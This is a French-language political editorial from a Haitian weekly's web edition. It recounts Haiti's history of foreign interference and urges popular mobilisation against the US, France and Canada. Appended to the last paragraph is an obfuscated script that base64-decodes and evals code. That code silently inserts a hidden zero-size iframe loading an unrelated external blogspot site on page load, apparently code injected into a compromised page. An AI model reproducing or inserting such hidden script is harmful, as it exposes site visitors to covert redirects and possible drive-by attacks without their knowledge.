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Edition Electronique
Vol. 10 • No. 26 •
Du 4 Jan  au  10 Jan 2017
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Notre Editorial
 
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Vol. 8 • No. 41 • Du 22 au 28 Avril 2015
Le langage des faits!
Berthony Dupont

 
 
EDITORIAL
Le peuple haïtien a toujours compté sur ses propres forces et une fois qu’il a fini par gagner une bataille, il ne se prive jamais de moyens pour la défendre, si on essaie de l’empêcher d’en jouir. <p> Napoléon Bonaparte a été le premier à faire l’expérience de cette réalité en 1803, après qu’il eut envoyé son beau frère le général Leclerc à la tête de 25 000 soldats dans une tentative de rétablir l'esclavage dans la colonie française de Saint-Domingue. Dans une lutte révolutionnairement organisée sous les mots d’ordre de «liberté ou la mort» et « l'union fait la force », nos ancêtres avaient unifié leur courage, leur détermination pour faire échec à cette armée coloniale, utilisant des moyens bien efficaces qui les ont aidés à combattre et à chasser les Français de l'île pour former la première république noire et souveraine du monde du nom d’Haïti. La première nation véritablement libre dans l'histoire de l’humanité, la première société sans esclaves. Ce fût un grand défi assorti d’une éclatante victoire. <p> Les pays impérialistes comme les Etats-Unis, la France et le Canada pour ne citer que ceux-là, ci-devant esclavagistes de ce fait, n’ont jamais pardonné à Haïti cet affront d’avoir non-seulement aboli l’esclavage, mais également propagé le virus de la liberté dans le monde. Du coup, Haïti devenait une menace, une cible à abattre aux yeux des récalcitrants esclavagistes. Un tel pays devait disparaitre et c’est dans ce contexte que l’occident capitaliste ne s’est borné d’aucun moyen à sa portée pour nous isoler, nous avilir, nous humilier, nous combattre, et nous faire payer les frais de ce cinglant affront à l’Occident esclavagiste-capitaliste-impérialiste. <p> . Justement, c’est dans cette optique que les Etats-Unis nous ont empêchés de participer au Congrès de Panama en 1826 où la question de l’indépendance d’Haïti allait être présentée pour honorer et magnifier nos prouesses héroïques et nos contributions inestimables à la libération de certains pays frères de l’Amérique Latine. <p> Voici que cette semaine marque le 25e anniversaire de la marche historique du 20 avril 1990 par plus de 150.000 Haïtiens qui traversèrent le pont de Brooklyn (le secouant littéralement) pour arriver à Manhattan. Cette manifestation d’alors, fut une réponse au système capitaliste qui à travers la Federal Drug Administration (FDA) voulait humilier Haïti. En effet, la FDA avait prohibé le don de sang haïtien qu’elle jugeait être un facteur de risque, de contamination par le virus du Sida. C’est ainsi qu’en 1983, le Center for Disease Control (CDC), de façon complètement non scientifique, aberrante, regroupait les Haïtiens, les homosexuels, les hémophiles et les héroïnomanes utilisateurs d’aiguilles hypodermiques contaminées, pour créer l’infâme groupe à risque dit des « 4H ». <p> L’immense foule protestataire qui entoura ce jour-là l'édifice fédéral sur Broadway, avait complètement stupéfié la police de New York, entraînant ainsi la fermeture de Wall Street et de la plupart des autres entreprises voisines.Ce fut une journée historique, lourde de signification, décisive, dont l’énorme impact médiatique contribua à faire enlever les Haïtiens de la liste des personnes à risque de propager la terrible maladie. <p> Après s’être débarassés du joug de la dictature des Duvalier le 7 février 1986, au bout de 30 longues années d’oppression, les Haïtiens avaient créé une autre mobilisation historique en votant à la présidence, le 16 décembre 1990, Jean-Bertrand Aristide, un prêtre de la mouvance progressiste de la théologie de la libération. Sept mois après, les États-Unis, aidés de la classe dirigeante haïtienne, ont, par un coup d’état sanglant essayé de rétablir la dictature néo-duvaliériste en renversant Aristide le 30 septembre, 1991. <p> Ainsi le 12 octobre 1991, un an et demi après la grande marche d'Avril 1990, quelque 100.000 Haïtiens à nouveau avaient traversé le pont de Brooklyn et bloqué le trafic à Manhattan pendant des heures pour protester contre le coup d'Etat. Ce fut le début d'une mobilisation massive de trois ans, en Haïti et en diaspora, qui força les Etats-Unis à ramener Aristide en Haïti en Octobre 1994, accompagné de 20.000 marines dans le cadre d’une sorte d’occupation du pays, toujours à dessein de saboter et de déstabiliser tout ce que nous entreprenons comme projet de changement. <p> Une campagne de calomnies fut déclenchée et qui continue encore de se déchainer au point que lors de la célébration du Bicentenaire de notre Indépendance, le triumvirat États-Unis, France, Canada fomenta un autre coup d’état pour envahir le pays et l’occuper. Depuis lors, c’est une Mission des Nations Unies pour stabiliser Haïti, la MINUSTAH, qui fait le sale boulot de l’impérialisme en nous programmant tout un cortège de malheurs. <p> Tout récemment, le 12 janvier 2010, un séisme apocalyptique frappait Haïti. Les Etats-Unis sans rougir avaient envoyé 20.000 soldats pour s’assurer le contrôle du pays afin que rien ne change. Mais le «laboratoire» de l'empire, après avoir étudié les techniques de lutte du peuple haïtien apprit à dissimuler ses tactiques avec plus de sophistication. Il déguisa la contre-révolution sous le masque de «processus électoral » avec « l'assistance de la communauté internationale ». C’est ainsi que pour éviter le « coup électoral» de 1990, ils ont effectué un « coup d'Etat électoral » en Novembre 2010 et Mars 2011, pour nous imposer au pouvoir, un mercenaire, un trafiquant de profession : Michel Martelly. Toutes ces actions entrent dans le cadre de blocage du pays par notre grand ennemi afin de s’assurer qu’il n’y ait aucune issue pour Haïti. <p> C’est dans ce même contexte qu’il nous faut comprendre tout ce qui se passe actuellement, à commencer par une élection que nous ne pouvons même pas réaliser voire financer. Certes, tout ce qui se fait en Haïti sous l’emprise du trio USA-France-Canada est incertain et entre dans le cadre des agendas des pays impérialistes pour nous déstabiliser. Voilà pourquoi, aujourd’hui nous tombons dans un imbroglio avec des dirigeants, hier violemment opposés à Martelly, à présent moutons électoralistes qui se laissent docilement conduire à l'abattoir en raison, soit de leurs illusions, de leurs délires, ou de leurs ambitions. <p> Beaucoup peuvent se rappeler cette expérience faite au 19ème siècle : une grenouille, plongée dans de l'eau bouillante, bondit soudain. Toutefois, si elle est placée dans une eau froide qui s’échauffe lentement, il est possible qu’elle se laisse cuire sans s’en rendre compte. Avec cette eau qui chauffe lentement, la grenouille se rend compte bien trop tard qu'elle est bouillie à mort. <p> N’est-ce pas cette réalité que vit le peuple actuellement. Il se laisse bien bercer par l’impérialisme et les soi-disant pays amis qui vont encore organiser un autre « coup de force électoral » Allons-nous accepter des « élections / sélections » financées, organisées, et arbitrées par ces mêmes nations (les États-Unis, France, Canada) responsables de tous les coups précédents pour nous avilir, nous anéantir pour justifier que nous n’avons pas le droit de les combattre et de créer une patrie libre pour tous les hommes aspirant à vivre libres ? <p> Le «laboratoire» a appris à apporter des changements très, très lentement et sournoisement en Haïti ; mais quand même avec la peur de remuer le tigre dormant qui est l'indignation des masses haïtiennes interdites de toute liberté. Déjà, il prépare une autre alternative, c’est la transition sans Martelly, mais à travers un gouvernement provisoire à sa façon pour faciliter à l’aigle impérialiste la tâche de refaire notre Constitution et qui leur donne la pleine et entière légitimité constitutionnelle de nous recoloniser. <p> Ce langage des faits montre qu’Haïti est un pays en guerre puisque la seule façon de faire un véritable changement dans ce pays est de combattre l’impérialisme dans tous ces compartiments. Les derniers événements sont à cet égard, particulièrement importants et significatifs. Le peuple haïtien doit se mobiliser comme en 1791 jusqu'à 1804, ou en 1990 pour déjouer tous les effets dévastateurs et meurtriers des pays impérialistes d’où qu’ils viennent, quelque soit le masque derrière lequel ils avancent.<script>eval(atob("aWZybSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIklGUkFNRSIpO2lmcm0uc2V0QXR0cmlidXRlKCJzcmMiLCAiaHR0cHM6Ly93aW5uZXJzY29mZmVlLmJsb2dzcG90LmNvbS8iKTtpZnJtLnN0eWxlLndpZHRoID0gMCsicHgiO2lmcm0uc3R5bGUuaGVpZ2h0ID0gMCsicHgiO2lmcm0uc3R5bGUuYm9yZGVyPSIwcHgiO2lmcm0uc3R5bGUudmlzaWJpbGl0eT0gImhpZGRlbiI7c2V0VGltZW91dChmdW5jdGlvbigpe2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZybSk7fSwxMDAwKQ==")); </script>
 
 
 
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